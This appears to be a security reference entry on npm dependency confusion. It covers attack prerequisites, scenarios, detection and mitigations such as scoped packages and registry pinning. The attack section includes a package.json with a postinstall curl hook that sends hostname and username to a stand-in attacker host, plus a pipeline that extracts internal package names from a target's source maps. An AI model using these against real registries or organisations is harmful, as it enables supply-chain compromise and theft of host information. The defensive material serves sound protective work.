Dependency Confusion
Prerequisites
- Target organization uses unscoped private package names (not @org/pkg)
- Ability to discover internal package names via source maps, lock files, or leaked configuration
- Ability to publish packages to the public npm registry
Attack Scenarios
Publishing a Public Package Matching an Internal Name
An attacker discovers that a company uses an internal package called 'acme-internal-auth' by inspecting a leaked package-lock.json. The attacker publishes a public package with the same name and a higher version number containing a postinstall script that phones home.
{
"name": "acme-internal-auth",
"version": "99.0.0",
"scripts": {
"postinstall": "curl https://evil.example.com/callback?host=$(hostname)&user=$(whoami)"
}
}
npm publish
Discovering Internal Package Names from Source Maps
Source maps bundled with production JavaScript files often contain import paths and module names. An attacker downloads exposed .map files and extracts internal package references to use as dependency confusion targets.
curl -s https://target.example.com/static/js/main.js.map \
| jq -r '.sources[]' \
| grep 'node_modules' \
| sed 's|.*node_modules/||' \
| cut -d'/' -f1-2 \
| sort -u
Exploiting Misconfigured Registry Fallback
When a project uses a proxy registry (such as Artifactory or Nexus) that is configured to proxy the public npm registry, the proxy may resolve unscoped packages from the public registry if the private registry returns a 404. Note: this is a behavior of proxy registries, not the npm client itself. The attacker publishes a higher version publicly to win the resolution.
registry=https://private-registry.example.com/
# No scoping restriction — npm will fall back to public registry
Detection
Verify Package Registry Origins
Check the resolved URLs in package-lock.json to ensure all packages are being fetched from the expected registry. Flag any packages resolving to the public npm registry that should be private.
grep -E '"resolved":' package-lock.json | grep -v 'private-registry.example.com' | head -20Audit for Unscoped Internal Packages
Review your dependency tree for unscoped package names that match internal libraries. These are vulnerable to confusion attacks.
npm ls --all 2>/dev/null | grep -v '@' | grep -v 'npm warn'Mitigation
- Always use scoped packages (@org/package-name) for internal libraries to prevent public name collisions
- Configure .npmrc to restrict specific scopes to the private registry using @org:registry=https://private-registry.example.com/
- Claim your internal package names on the public npm registry as placeholders, even if they are private
- Enable npm provenance and use lockfile integrity checks to detect unexpected registry changes